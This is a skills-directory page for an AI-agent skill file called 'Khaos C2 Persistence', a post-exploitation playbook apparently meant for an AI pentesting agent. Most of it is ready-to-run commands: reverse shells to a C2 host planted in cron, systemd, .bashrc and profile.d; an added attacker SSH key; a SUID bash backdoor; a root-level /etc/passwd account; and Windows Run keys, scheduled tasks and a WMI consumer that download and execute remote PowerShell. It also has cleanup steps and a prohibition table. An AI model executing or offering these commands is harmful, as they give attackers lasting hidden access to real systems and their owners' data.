Back to skills
SKILL.md
Khaos C2 Persistence
FSecurityPost-exploitation persistence mechanisms — cron, systemd, registry, WMI, startup, SSH, rootkit-lite techniques
- 6 stars
- 0 votes
- 0 copies
- 0 views
- Added December 5, 2026
Works with
Security analysis
23/100- Accesses sensitive system or user directories
- Accesses sensitive system or user directories
- Creates or modifies cron jobs for persistent execution
- Creates or modifies cron jobs for persistent execution
- Modifies startup scripts or system services for persistence
- Modifies startup scripts or system services for persistence
npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-c2-persistence --agent claude-codeAre you the author of Khaos C2 Persistence?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/henriqqw-khaos-c2-persistence-khaos-pentester-agent)---
name: khaos-c2-persistence
description: Post-exploitation persistence mechanisms — cron, systemd, registry, WMI, startup, SSH, rootkit-lite techniques
metadata:
khaos:
stages: [exploitation, validation]
tool_ids: [metasploit]
---
# C2 Persistence Mechanisms
Establish persistence after initial compromise to maintain access across reboots and session terminations. Demonstrates assessment impact — a finding of "persistent RCE" is typically Critical.
**Prerequisites:**
- Active beacon or shell session
- `unrestricted_mode: true` in authorization plan
- Document every persistence mechanism installed for cleanup
## Linux Persistence Techniques
### 1. Cron Jobs
```bash
# User-level cron (no root needed)
(crontab -l 2>/dev/null; echo "*/5 * * * * bash -i >& /dev/tcp/C2_HOST/C2_PORT 0>&1") | crontab -
# System-level (root required)
echo "*/5 * * * * root bash -i >& /dev/tcp/C2_HOST/C2_PORT 0>&1" >> /etc/cron.d/khaos
# Verify
crontab -l
cat /etc/cron.d/khaos
```
### 2. Systemd Service
```bash
cat > /etc/systemd/system/khaos-update.service << EOF
[Unit]
Description=System Update Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/C2_HOST/C2_PORT 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl enable khaos-update && systemctl start khaos-update
```
### 3. SSH Authorized Keys
```bash
# Add attacker key (non-destructive — doesn't remove existing keys)
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "ssh-rsa AAAA... attacker@khaos" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
```
### 4. Bashrc / Profile Persistence
```bash
# Persist via .bashrc (triggers on interactive shell)
echo 'bash -i >& /dev/tcp/C2_HOST/C2_PORT 0>&1 &' >> ~/.bashrc
# Or via /etc/profile.d (all users, root required)
echo 'bash -i >& /dev/tcp/C2_HOST/C2_PORT 0>&1 &' > /etc/profile.d/khaos.sh
```
### 5. SUID Backdoor (root required)
```bash
# Copy bash with SUID for privilege retention
cp /bin/bash /tmp/.khaos_bash
chmod +s /tmp/.khaos_bash
# Later: /tmp/.khaos_bash -p → root shell
```
### 6. /etc/passwd Entry
```bash
# Generate password hash
openssl passwd -1 -salt khaos "P@ssw0rd"
# Add user entry
echo "khaos-svc:\$1\$khaos\$...:0:0::/root:/bin/bash" >> /etc/passwd
```
---
## Windows Persistence Techniques
### 1. Registry Run Keys
```powershell
# HKCU (user-level, no admin needed)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "khaos" /t REG_SZ /d "powershell -NoP -NonI -W Hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://C2_HOST/ps.ps1')\"" /f
# HKLM (system-level, admin required)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "khaos" /t REG_SZ /d "C:\Users\Public\stager.exe" /f
```
### 2. Scheduled Task
```powershell
# Create scheduled task (admin)
schtasks /create /tn "WindowsUpdate" /tr "powershell -NoP -NonI -W Hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://C2_HOST/ps.ps1')\"" /sc onlogon /ru SYSTEM /f
# Trigger at startup
schtasks /create /tn "SystemHealth" /tr "C:\Users\Public\stager.exe" /sc onstart /ru SYSTEM /f
```
### 3. WMI Event Subscription (fileless)
```powershell
# WMI event filter + consumer + binding (admin, fileless)
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.Name = "KhaosFilter"
$filter.EventNamespace = "root\cimv2"
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$filter.Put()
$consumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = "KhaosConsumer"
$consumer.CommandLineTemplate = "powershell -NoP -NonI -W Hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://C2_HOST/ps.ps1')\""
$consumer.Put()
```
### 4. DLL Hijacking
```powershell
# Find writable DLL search path locations
Invoke-AllChecks | Where-Object {$_.ModuleName -like "*.dll"}
# Place malicious DLL in writable path before legitimate DLL
copy C:\Users\Public\evil.dll "C:\Program Files\Target\legit.dll"
```
---
## Verification and Evidence
```bash
# Verify cron persistence
crontab -l | grep -i khaos
# Verify systemd service
systemctl is-enabled khaos-update 2>/dev/null
# Verify registry key (Windows)
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
# Verify SSH key
cat ~/.ssh/authorized_keys | grep khaos
```
**Capture as finding:**
```
khaos_create_finding:
title: "Persistent Access Established — [mechanism]"
severity: CRITICAL
evidence: "Persistence via [cron/registry/systemd] confirmed by [verification command output]"
```
---
## Cleanup Protocol (Required After Assessment)
Document every mechanism installed, then remove:
```bash
# Cron
crontab -l | grep -v khaos | crontab -
# Systemd
systemctl stop khaos-update && systemctl disable khaos-update
rm /etc/systemd/system/khaos-update.service && systemctl daemon-reload
# SSH key
sed -i '/attacker@khaos/d' ~/.ssh/authorized_keys
# Windows registry
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "khaos" /f
schtasks /delete /tn "WindowsUpdate" /f
```
## ⛔ Prohibition table
| Prohibited | Alternative |
|---|---|
| Persistence without documenting mechanism | Record all in khaos_note_set before installing |
| Skipping cleanup after assessment | Remove all mechanisms before closing assessment |
| Disabling security tools (AV/EDR) | Demonstrate capability without disabling defenders |
| Root/SYSTEM escalation beyond proving persistence | Stop at first confirmed root/SYSTEM exec |
## ✓ Completion self-check
- [ ] Every persistence mechanism logged in `khaos_note_set` before install
- [ ] At least 1 mechanism verified (survives reboot or re-login)
- [ ] Evidence captured: verification command output showing mechanism active
- [ ] Finding created: CRITICAL severity with mechanism details
- [ ] Cleanup checklist prepared and executed before assessment close
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.